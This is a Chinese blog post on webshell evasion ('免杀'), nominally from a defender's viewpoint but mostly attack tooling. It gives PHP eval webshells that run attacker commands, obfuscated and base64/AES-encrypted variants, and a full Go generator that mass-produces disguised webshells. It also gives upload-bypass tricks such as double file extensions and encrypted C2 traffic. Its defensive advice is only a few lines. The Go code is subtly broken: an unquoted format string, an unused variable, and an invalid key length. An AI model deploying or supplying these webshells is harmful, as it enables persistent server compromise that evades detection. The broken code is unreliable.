一、从防御视角看 Webshell 免杀的挑战

在实战中,防御团队通常会通过 Webshell 的特征来实现检测。例如,查找文件中的敏感关键词(如 eval、base64_decode)、分析文件的行为特征(是否在执行动态代码)或者利用机器学习模型对文件进行分类。然而,这种依赖特征匹配的检测方式往往容易被绕过。攻击者只需稍加改动代码、伪装流量或利用一些反沙盒、反调试技术,就可以让 Webshell 轻松掩盖自己的真实意图。
假设你是一名甲方安全工程师,在日常巡检中发现了一个上传入口漏洞。虽然防护系统已经配置了强力的文件上传策略,但某次模拟攻击演练中,仍然有一个变种 Webshell 成功绕过了检测,甚至在一段时间内没有触发任何告警。问题的本质在于:攻击者已经完全理解了检测逻辑,并对免杀技术进行了一系列深入的改造。
接下来,我们从攻击者视角反推,如何打造一款难以检测的 Webshell,同时在后续演示中揭示防御与检测的关键点。
---
二、免杀 Webshell 的武器化原则
对于一名有经验的攻击者来说,构造免杀 Webshell 并不是简单地修改几处代码,而是需要从以下几方面入手:
- 彻底理解目标检测机制:攻击者需要知道防御方的检测规则,包括文件特征、行为分析模型、沙箱环境等。
- 多层次的代码混淆:通过字符串加密、动态解密、内存加载等技术隐藏关键函数和敏感代码。
- 侵入式协议伪装:利用常见协议(如 HTTP、HTTPS)或加密流量伪装 C2 通信,迷惑网络流量分析工具。
- 模块化与分离设计:让 Webshell 的核心功能与其载体分离,使得单一文件无法直接反映其真实意图。
下面,我们基于真实环境,构造一个绕过主流防御机制的 PHP Webshell,并展示其免杀过程。
---
三、构造「不可见」的 Webshell
在这一部分,我们将开发一个简单但难以检测的 PHP Webshell,并利用 Go 工具生成其免杀版本。
1. 基础 Webshell 构造
我们从一个基础的 PHP Webshell 开始:
<pre><code class="language-php"><?php eval($_POST['cmd']); ?></code></pre>
这个 Webshell 功能非常简单:接收 POST 请求中的 cmd 参数,并执行其中的代码。显然,这种 Webshell 基本无法绕过主流安全设备,因为其包含了敏感函数 eval,以及直接暴露了核心逻辑。
2. 初步混淆
为了提升免杀效果,我们可以对关键函数进行混淆,例如用变量代替函数名:
<pre><code class="language-php"><?php $func = 'e' . 'val'; $func($_POST['cmd']); ?></code></pre>
这种混淆虽然可以绕过一些简单的正则检测,但面对具有语义分析能力的检测引擎,依然显得稚嫩。

3. 高级混淆:动态解密
为了进一步提升免杀能力,我们可以将核心代码加密,并在运行时解密执行。以下是加密后的 Webshell 示例:
<pre><code class="language-php"><?php $code = base64_decode("ZWNobyAiU3VjY2Vzc2Z1bGx5IGhlbGxvIHdvcmxkISI7"); // 加密后的 PHP 代码 eval($code); ?></code></pre>
攻击者可以将加密过程封装成一个 Go 程序,自动生成不同的变种。
---
四、用 Go 实现 Webshell 的变种生成
接下来,我们用 Go 开发一个工具,将 Webshell 的核心代码自动加密,并生成混淆后的变种。
工具功能:
- 自动加密:支持 Base64、AES 等多种加密方式。
- 随机变量名:动态生成变量名,避免使用固定值。
- 变种生成:支持批量生成多个 Webshell 文件,提升方式多样性。
完整代码如下:
<pre><code class="language-go">package main

import ( "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "fmt" "io/ioutil" "math/rand" "os" "time" )
// 随机生成变量名 func randomVarName() string { const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" result := make([]byte, 8) for i := range result { result[i] = letters[rand.Intn(len(letters))] } return string(result) }
// 加密代码 func encryptAES(plainText, key []byte) string { block, err := aes.NewCipher(key) if err != nil { panic(err) }
ciphertext := make([]byte, aes.BlockSize+len(plainText)) iv := ciphertext[:aes.BlockSize] if _, err := rand.Read(iv); err != nil { panic(err) }
stream := cipher.NewCFBEncrypter(block, iv) stream.XORKeyStream(ciphertext[aes.BlockSize:], plainText)
return base64.StdEncoding.EncodeToString(ciphertext) }

// 生成 Webshell func generateWebshell(payload, key []byte) string { encrypted := encryptAES(payload, key) varName := randomVarName() return fmt.Sprintf(<?php $key = "%s"; $data = base64_decode("%s"); eval(openssl_decrypt($data, 'AES-256-CFB', $key, OPENSSL_RAW_DATA)); ?>, string(key), encrypted) }
func main() { rand.Seed(time.Now().UnixNano())
if len(os.Args) < 3 { fmt.Println("Usage: go run generator.go <payload_file> <output_dir>") return }
payloadFile := os.Args[1] outputDir := os.Args[2]
payload, err := ioutil.ReadFile(payloadFile) if err != nil { panic(err) }
key := []byte("thisisaverysecretkey!") // 固定密钥(可以动态生成)
webshell := generateWebshell(payload, key)
outputFile := fmt.Sprintf("%s/webshell_%d.php", outputDir, rand.Int()) err = ioutil.WriteFile(outputFile, []byte(webshell), 0644) if err != nil { panic(err) }
fmt.Printf("Webshell generated: %s\n", outputFile) }</code></pre>
使用说明:
- 将基础 Webshell 代码保存为
payload.php。 - 编译运行此 Go 程序,生成变种 Webshell:
`bash go run generator.go payload.php /tmp/webshells `
---
五、绕过检测的核心策略
攻击者在实践中会结合多种技术,进一步提升免杀能力。例如:
- 分段加载:将核心代码分成多段,通过动态拼接执行。
- 文件伪装:将 Webshell 伪装成图片、PDF 等非可执行格式,结合双扩展名(如
image.php.jpg)迷惑上传检测。 - 通信加密:在 Webshell 与 C2 服务器间使用加密协议(如 HTTPS)传输数据,规避流量分析。
---
六、防御者的应对之道
尽管攻击技术层出不穷,但从防御角度来看,以下措施可以显著提升检测能力:
- 行为分析:结合文件行为与执行特征,而不仅依赖特征匹配。
- 流量审计:监控 HTTP 请求中的异常行为,例如长时间无变化的 POST 请求。
- 多层防护:在服务器端严格控制上传权限,限制动态代码执行。
---
七、最终感悟
从攻防对抗的视角来看,Webshell 的免杀技术是一场不断升级的博弈。攻击者的目标始终是绕过防御机制,而防御方则需要不断完善自己的检测逻辑。因此,任何针对 Webshell 的研究都不应止步于技术本身,而要站在攻防对抗的全局视角中,寻找更优的解决方案。